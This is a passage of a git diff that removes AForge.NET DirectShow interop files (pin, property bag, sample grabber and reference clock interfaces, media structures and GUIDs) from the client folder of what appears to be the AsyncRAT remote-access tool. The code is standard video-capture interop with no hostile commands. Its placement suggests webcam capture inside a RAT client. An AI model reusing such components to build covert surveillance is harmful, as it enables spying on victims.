Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface is exposed by all input and output pins of DirectShow filters. - /// - /// - [ComImport, - Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IPin - { - /// - /// Connects the pin to another pin. - /// - /// - /// Other pin to connect to. - /// Type to use for the connections (optional). - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Makes a connection to this pin and is called by a connecting pin. - /// - /// - /// Connecting pin. - /// Media type of the samples to be streamed. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Breaks the current pin connection. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Disconnect( ); - - /// - /// Returns a pointer to the connecting pin. - /// - /// - /// Receives IPin interface of connected pin (if any). - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectedTo( [Out] out IPin pin ); - - /// - /// Returns the media type of this pin's connection. - /// - /// - /// Pointer to an structure. If the pin is connected, - /// the media type is returned. Otherwise, the structure is initialized to a default state in which - /// all elements are 0, with the exception of lSampleSize, which is set to 1, and - /// FixedSizeSamples, which is set to true. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves information about this pin (for example, the name, owning filter, and direction). - /// - /// - /// structure that receives the pin information. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryPinInfo( [Out] out PinInfo pinInfo ); - - /// - /// Retrieves the direction for this pin. - /// - /// - /// Receives direction of the pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryDirection( out PinDirection pinDirection ); - - /// - /// Retrieves an identifier for the pin. - /// - /// - /// Pin identifier. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id ); - - /// - /// Queries whether a given media type is acceptable by the pin. - /// - /// - /// structure that specifies the media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Provides an enumerator for this pin's preferred media types. - /// - /// - /// Address of a variable that receives a pointer to the IEnumMediaTypes interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EnumMediaTypes( IntPtr enumerator ); - - /// - /// Provides an array of the pins to which this pin internally connects. - /// - /// - /// Address of an array of IPin pointers. - /// On input, specifies the size of the array. When the method returns, - /// the value is set to the number of pointers returned in the array. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin ); - - /// - /// Notifies the pin that no additional data is expected. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EndOfStream( ); - - /// - /// Begins a flush operation. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int BeginFlush( ); - - /// - /// Ends a flush operation. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int EndFlush( ); - - /// - /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. - /// - /// - /// Start time of the segment, relative to the original source, in 100-nanosecond units. - /// End time of the segment, relative to the original source, in 100-nanosecond units. - /// Rate at which this segment should be processed, as a percentage of the original rate. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int NewSegment( - long start, - long stop, - double rate ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs deleted file mode 100644 index faea69d..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs +++ /dev/null @@ -1,53 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IPropertyBag interface provides an object with a property bag in - /// which the object can persistently save its properties. - /// - /// - [ComImport, - Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IPropertyBag - { - /// - /// Read a property from property bag. - /// - /// - /// Property name to read. - /// Property value. - /// Caller's error log. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Read( - [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, - [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar, - [In] IntPtr pErrorLog ); - - /// - /// Write property to property bag. - /// - /// - /// Property name to read. - /// Property value. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Write( - [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, - [In, MarshalAs( UnmanagedType.Struct )] ref object pVar ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs deleted file mode 100644 index cb0328f..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs +++ /dev/null @@ -1,87 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © Andrew Kirillov, 2010 -// andrew.kirillov@gmail.com -// -// Written by Jeremy Noring -// kidjan@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IReferenceClock interface provides the reference time for the filter graph. - /// - /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. - /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to - /// retrieve the current reference time, or to request notification of an elapsed time. - /// - [ComImport, System.Security.SuppressUnmanagedCodeSecurity, - Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IReferenceClock - { - /// - /// The GetTime method retrieves the current reference time. - /// - /// - /// Pointer to a variable that receives the current time, in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetTime( [Out] out long pTime ); - - /// - /// The AdviseTime method creates a one-shot advise request. - /// - /// - /// Base reference time, in 100-nanosecond units. See Remarks. - /// Stream offset time, in 100-nanosecond units. See Remarks. - /// Handle to an event, created by the caller. - /// Pointer to a variable that receives an identifier for the advise request. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AdviseTime( - [In] long baseTime, - [In] long streamTime, - [In] IntPtr hEvent, - [Out] out int pdwAdviseCookie ); - - /// - /// The AdvisePeriodic method creates a periodic advise request. - /// - /// - /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. - /// Time between notifications, in 100-nanosecond units. Must be greater than zero. - /// Handle to a semaphore, created by the caller. - /// Pointer to a variable that receives an identifier for the advise request. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int AdvisePeriodic( - [In] long startTime, - [In] long periodTime, - [In] IntPtr hSemaphore, - [Out] out int pdwAdviseCookie ); - - /// - /// The Unadvise method removes a pending advise request. - /// - /// - /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Unadvise( [In] int dwAdviseCookie ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs deleted file mode 100644 index 07854ac..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs +++ /dev/null @@ -1,103 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve - /// individual media samples as they move through the filter graph. - /// - /// - [ComImport, - Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"), - InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - internal interface ISampleGrabber - { - /// - /// Specifies whether the filter should stop the graph after receiving one sample. - /// - /// - /// Boolean value specifying whether the filter should stop the graph after receiving one sample. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot ); - - /// - /// Specifies the media type for the connection on the Sample Grabber's input pin. - /// - /// - /// Specifies the required media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves the media type for the connection on the Sample Grabber's input pin. - /// - /// - /// structure, which receives media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Specifies whether to copy sample data into a buffer as it goes through the filter. - /// - /// - /// Boolean value specifying whether to buffer sample data. - /// If true, the filter copies sample data into an internal buffer. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem ); - - /// - /// Retrieves a copy of the sample that the filter received most recently. - /// - /// - /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. - /// Pointer to a buffer to receive a copy of the sample, or NULL. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurrentBuffer( ref int bufferSize, IntPtr buffer ); - - /// - /// Not currently implemented. - /// - /// - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurrentSample( IntPtr sample ); - - /// - /// Specifies a callback method to call on incoming samples. - /// - /// - /// interface containing the callback method, or NULL to cancel the callback. - /// Index specifying the callback method. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs deleted file mode 100644 index 4dc7340..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs +++ /dev/null @@ -1,47 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface provides callback methods for the method. - /// - /// - [ComImport, - Guid("0579154A-2B53-4994-B0D0-E773148EFF85"), - InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - internal interface ISampleGrabberCB - { - /// - /// Callback method that receives a pointer to the media sample. - /// - /// - /// Starting time of the sample, in seconds. - /// Pointer to the sample's IMediaSample interface. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SampleCB( double sampleTime, IntPtr sample ); - - /// - /// Callback method that receives a pointer to the sample bufferþ - /// - /// - /// Starting time of the sample, in seconds. - /// Pointer to a buffer that contains the sample data. - /// Length of the buffer pointed to by buffer, in bytes - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs deleted file mode 100644 index ecb0739..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs +++ /dev/null @@ -1,36 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface indicates that an object supports property pages. - /// - /// - [ComImport, - Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface ISpecifyPropertyPages - { - /// - /// Fills a counted array of GUID values where each GUID specifies the - /// CLSID of each property page that can be displayed in the property - /// sheet for this object. - /// - /// - /// Pointer to a CAUUID structure that must be initialized - /// and filled before returning. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetPages( out CAUUID pPages ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs deleted file mode 100644 index 530283c..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs +++ /dev/null @@ -1,518 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - using System.Drawing; - - // PIN_DIRECTION - - /// - /// This enumeration indicates a pin's direction. - /// - /// - [ComVisible( false )] - internal enum PinDirection - { - /// - /// Input pin. - /// - Input, - - /// - /// Output pin. - /// - Output - } - - // AM_MEDIA_TYPE - - /// - /// The structure describes the format of a media sample. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal class AMMediaType : IDisposable - { - /// - /// Globally unique identifier (GUID) that specifies the major type of the media sample. - /// - public Guid MajorType; - - /// - /// GUID that specifies the subtype of the media sample. - /// - public Guid SubType; - - /// - /// If true, samples are of a fixed size. - /// - [MarshalAs( UnmanagedType.Bool )] - public bool FixedSizeSamples = true; - - /// - /// If true, samples are compressed using temporal (interframe) compression. - /// - [MarshalAs( UnmanagedType.Bool )] - public bool TemporalCompression; - - /// - /// Size of the sample in bytes. For compressed data, the value can be zero. - /// - public int SampleSize = 1; - - /// - /// GUID that specifies the structure used for the format block. - /// - public Guid FormatType; - - /// - /// Not used. - /// - public IntPtr unkPtr; - - /// - /// Size of the format block, in bytes. - /// - public int FormatSize; - - /// - /// Pointer to the format block. - /// - public IntPtr FormatPtr; - - /// - /// Destroys the instance of the class. - /// - /// - ~AMMediaType( ) - { - Dispose( false ); - } - - /// - /// Dispose the object. - /// - /// - public void Dispose( ) - { - Dispose( true ); - // remove me from the Finalization queue - GC.SuppressFinalize( this ); - } - - /// - /// Dispose the object - /// - /// - /// Indicates if disposing was initiated manually. - /// - protected virtual void Dispose( bool disposing ) - { - if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) ) - { - Marshal.FreeCoTaskMem( FormatPtr ); - FormatSize = 0; - } - - if ( unkPtr != IntPtr.Zero ) - { - Marshal.Release( unkPtr ); - unkPtr = IntPtr.Zero; - } - } - } - - - // PIN_INFO - - /// - /// The structure contains information about a pin. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] - internal struct PinInfo - { - /// - /// Owning filter. - /// - public IBaseFilter Filter; - - /// - /// Direction of the pin. - /// - public PinDirection Direction; - - /// - /// Name of the pin. - /// - [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] - public string Name; - } - - // FILTER_INFO - [ComVisible( false ), - StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] - internal struct FilterInfo - { - /// - /// Filter's name. - /// - [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] - public string Name; - - /// - /// Owning graph. - /// - public IFilterGraph FilterGraph; - } - - // VIDEOINFOHEADER - - /// - /// The structure describes the bitmap and color information for a video image. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct VideoInfoHeader - { - /// - /// structure that specifies the source video window. - /// - public RECT SrcRect; - - /// - /// structure that specifies the destination video window. - /// - public RECT TargetRect; - - /// - /// Approximate data rate of the video stream, in bits per second. - /// - public int BitRate; - - /// - /// Data error rate, in bit errors per second. - /// - public int BitErrorRate; - - /// - /// The desired average display time of the video frames, in 100-nanosecond units. - /// - public long AverageTimePerFrame; - - /// - /// structure that contains color and dimension information for the video image bitmap. - /// - public BitmapInfoHeader BmiHeader; - } - - // VIDEOINFOHEADER2 - - /// - /// The structure describes the bitmap and color information for a video image (v2). - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct VideoInfoHeader2 - { - /// - /// structure that specifies the source video window. - /// - public RECT SrcRect; - - /// - /// structure that specifies the destination video window. - /// - public RECT TargetRect; - - /// - /// Approximate data rate of the video stream, in bits per second. - /// - public int BitRate; - - /// - /// Data error rate, in bit errors per second. - /// - public int BitErrorRate; - - /// - /// The desired average display time of the video frames, in 100-nanosecond units. - /// - public long AverageTimePerFrame; - - /// - /// Flags that specify how the video is interlaced. - /// - public int InterlaceFlags; - - /// - /// Flag set to indicate that the duplication of the stream should be restricted. - /// - public int CopyProtectFlags; - - /// - /// The X dimension of picture aspect ratio. - /// - public int PictAspectRatioX; - - /// - /// The Y dimension of picture aspect ratio. - /// - public int PictAspectRatioY; - - /// - /// Reserved for future use. - /// - public int Reserved1; - - /// - /// Reserved for future use. - /// - public int Reserved2; - - /// - /// structure that contains color and dimension information for the video image bitmap. - /// - public BitmapInfoHeader BmiHeader; - } - - /// - /// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB). - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential, Pack = 2 )] - internal struct BitmapInfoHeader - { - /// - /// Specifies the number of bytes required by the structure. - /// - public int Size; - - /// - /// Specifies the width of the bitmap. - /// - public int Width; - - /// - /// Specifies the height of the bitmap, in pixels. - /// - public int Height; - - /// - /// Specifies the number of planes for the target device. This value must be set to 1. - /// - public short Planes; - - /// - /// Specifies the number of bits per pixel. - /// - public short BitCount; - - /// - /// If the bitmap is compressed, this member is a FOURCC the specifies the compression. - /// - public int Compression; - - /// - /// Specifies the size, in bytes, of the image. - /// - public int ImageSize; - - /// - /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap. - /// - public int XPelsPerMeter; - - /// - /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap. - /// - public int YPelsPerMeter; - - /// - /// Specifies the number of color indices in the color table that are actually used by the bitmap. - /// - public int ColorsUsed; - - /// - /// Specifies the number of color indices that are considered important for displaying the bitmap. - /// - public int ColorsImportant; - } - - // RECT - - /// - /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct RECT - { - /// - /// Specifies the x-coordinate of the upper-left corner of the rectangle. - /// - public int Left; - - /// - /// Specifies the y-coordinate of the upper-left corner of the rectangle. - /// - public int Top; - - /// - /// Specifies the x-coordinate of the lower-right corner of the rectangle. - /// - public int Right; - - /// - /// Specifies the y-coordinate of the lower-right corner of the rectangle. - /// - public int Bottom; - } - - // CAUUID - - /// - /// The CAUUID structure is a Counted Array of UUID or GUID types. - /// - /// - [ComVisible( false ), - StructLayout( LayoutKind.Sequential )] - internal struct CAUUID - { - /// - /// Size of the array pointed to by pElems. - /// - public int cElems; - - /// - /// Pointer to an array of UUID values, each of which specifies UUID. - /// - public IntPtr pElems; - - /// - /// Performs manual marshaling of pElems to retrieve an array of Guid objects. - /// - /// - /// A managed representation of pElems. - /// - public Guid[] ToGuidArray( ) - { - Guid[] retval = new Guid[cElems]; - - for ( int i = 0; i < cElems; i++ ) - { - IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) ); - retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) ); - } - - return retval; - } - } - - /// - /// Enumeration of DirectShow event codes. - /// - internal enum DsEvCode - { - None, - Complete = 0x01, // EC_COMPLETE - DeviceLost = 0x1F, // EC_DEVICE_LOST - //(...) not yet interested in other events - } - - [Flags, ComVisible( false )] - internal enum AnalogVideoStandard - { - None = 0x00000000, // This is a digital sensor - NTSC_M = 0x00000001, // 75 IRE Setup - NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup - NTSC_433 = 0x00000004, - PAL_B = 0x00000010, - PAL_D = 0x00000020, - PAL_G = 0x00000040, - PAL_H = 0x00000080, - PAL_I = 0x00000100, - PAL_M = 0x00000200, - PAL_N = 0x00000400, - PAL_60 = 0x00000800, - SECAM_B = 0x00001000, - SECAM_D = 0x00002000, - SECAM_G = 0x00004000, - SECAM_H = 0x00008000, - SECAM_K = 0x00010000, - SECAM_K1 = 0x00020000, - SECAM_L = 0x00040000, - SECAM_L1 = 0x00080000, - PAL_N_COMBO = 0x00100000 // Argentina - } - - [Flags, ComVisible( false )] - internal enum VideoControlFlags - { - FlipHorizontal = 0x0001, - FlipVertical = 0x0002, - ExternalTriggerEnable = 0x0004, - Trigger = 0x0008 - } - - [StructLayout( LayoutKind.Sequential ), ComVisible( false )] - internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS - { - public Guid Guid; - public AnalogVideoStandard VideoStandard; - public Size InputSize; - public Size MinCroppingSize; - public Size MaxCroppingSize; - public int CropGranularityX; - public int CropGranularityY; - public int CropAlignX; - public int CropAlignY; - public Size MinOutputSize; - public Size MaxOutputSize; - public int OutputGranularityX; - public int OutputGranularityY; - public int StretchTapsX; - public int StretchTapsY; - public int ShrinkTapsX; - public int ShrinkTapsY; - public long MinFrameInterval; - public long MaxFrameInterval; - public int MinBitsPerSecond; - public int MaxBitsPerSecond; - } - - /// - /// Specifies a filter's state or the state of the filter graph. - /// - internal enum FilterState - { - /// - /// Stopped. The filter is not processing data. - /// - State_Stopped, - - /// - /// Paused. The filter is processing data, but not rendering it. - /// - State_Paused, - - /// - /// Running. The filter is processing and rendering data. - /// - State_Running - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs deleted file mode 100644 index 8dc1874..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs +++ /dev/null @@ -1,299 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// DirectShow class IDs. - /// - [ComVisible( false )] - static internal class Clsid - { - /// - /// System device enumerator. - /// - /// - /// Equals to CLSID_SystemDeviceEnum. - /// - public static readonly Guid SystemDeviceEnum = - new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); - - /// - /// Filter graph. - /// - /// - /// Equals to CLSID_FilterGraph. - /// - public static readonly Guid FilterGraph = - new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// Sample grabber. - /// - /// - /// Equals to CLSID_SampleGrabber. - /// - public static readonly Guid SampleGrabber = - new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 ); - - /// - /// Capture graph builder. - /// - /// - /// Equals to CLSID_CaptureGraphBuilder2. - /// - public static readonly Guid CaptureGraphBuilder2 = - new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); - - /// - /// Async reader. - /// - /// - /// Equals to CLSID_AsyncReader. - /// - public static readonly Guid AsyncReader = - new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - } - - /// - /// DirectShow format types. - /// - /// - [ComVisible( false )] - static internal class FormatType - { - /// - /// VideoInfo. - /// - /// - /// Equals to FORMAT_VideoInfo. - /// - public static readonly Guid VideoInfo = - new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A ); - - /// - /// VideoInfo2. - /// - /// - /// Equals to FORMAT_VideoInfo2. - /// - public static readonly Guid VideoInfo2 = - new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); - } - - /// - /// DirectShow media types. - /// - /// - [ComVisible( false )] - static internal class MediaType - { - /// - /// Video. - /// - /// - /// Equals to MEDIATYPE_Video. - /// - public static readonly Guid Video = - new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Interleaved. Used by Digital Video (DV). - /// - /// - /// Equals to MEDIATYPE_Interleaved. - /// - public static readonly Guid Interleaved = - new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Audio. - /// - /// - /// Equals to MEDIATYPE_Audio. - /// - public static readonly Guid Audio = - new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Text. - /// - /// - /// Equals to MEDIATYPE_Text. - /// - public static readonly Guid Text = - new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// Byte stream with no time stamps. - /// - /// - /// Equals to MEDIATYPE_Stream. - /// - public static readonly Guid Stream = - new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - } - - /// - /// DirectShow media subtypes. - /// - /// - [ComVisible( false )] - static internal class MediaSubType - { - /// - /// YUY2 (packed 4:2:2). - /// - /// - /// Equals to MEDIASUBTYPE_YUYV. - /// - public static readonly Guid YUYV = - new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// IYUV. - /// - /// - /// Equals to MEDIASUBTYPE_IYUV. - /// - public static readonly Guid IYUV = - new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// A DV encoding format. (FOURCC 'DVSD') - /// - /// - /// Equals to MEDIASUBTYPE_DVSD. - /// - public static readonly Guid DVSD = - new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 ); - - /// - /// RGB, 1 bit per pixel (bpp), palettized. - /// - /// - /// Equals to MEDIASUBTYPE_RGB1. - /// - public static readonly Guid RGB1 = - new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 4 bpp, palettized. - /// - /// - /// Equals to MEDIASUBTYPE_RGB4. - /// - public static readonly Guid RGB4 = - new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 8 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB8. - /// - public static readonly Guid RGB8 = - new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB 565, 16 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB565. - /// - public static readonly Guid RGB565 = - new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB 555, 16 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB555. - /// - public static readonly Guid RGB555 = - new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 24 bpp. - /// - /// - /// Equals to MEDIASUBTYPE_RGB24. - /// - public static readonly Guid RGB24 = - new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// RGB, 32 bpp, no alpha channel. - /// - /// - /// Equals to MEDIASUBTYPE_RGB32. - /// - public static readonly Guid RGB32 = - new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// Data from AVI file. - /// - /// - /// Equals to MEDIASUBTYPE_Avi. - /// - public static readonly Guid Avi = - new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); - - /// - /// Advanced Streaming Format (ASF). - /// - /// - /// Equals to MEDIASUBTYPE_Asf. - /// - public static readonly Guid Asf = - new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 ); - } - - /// - /// DirectShow pin categories. - 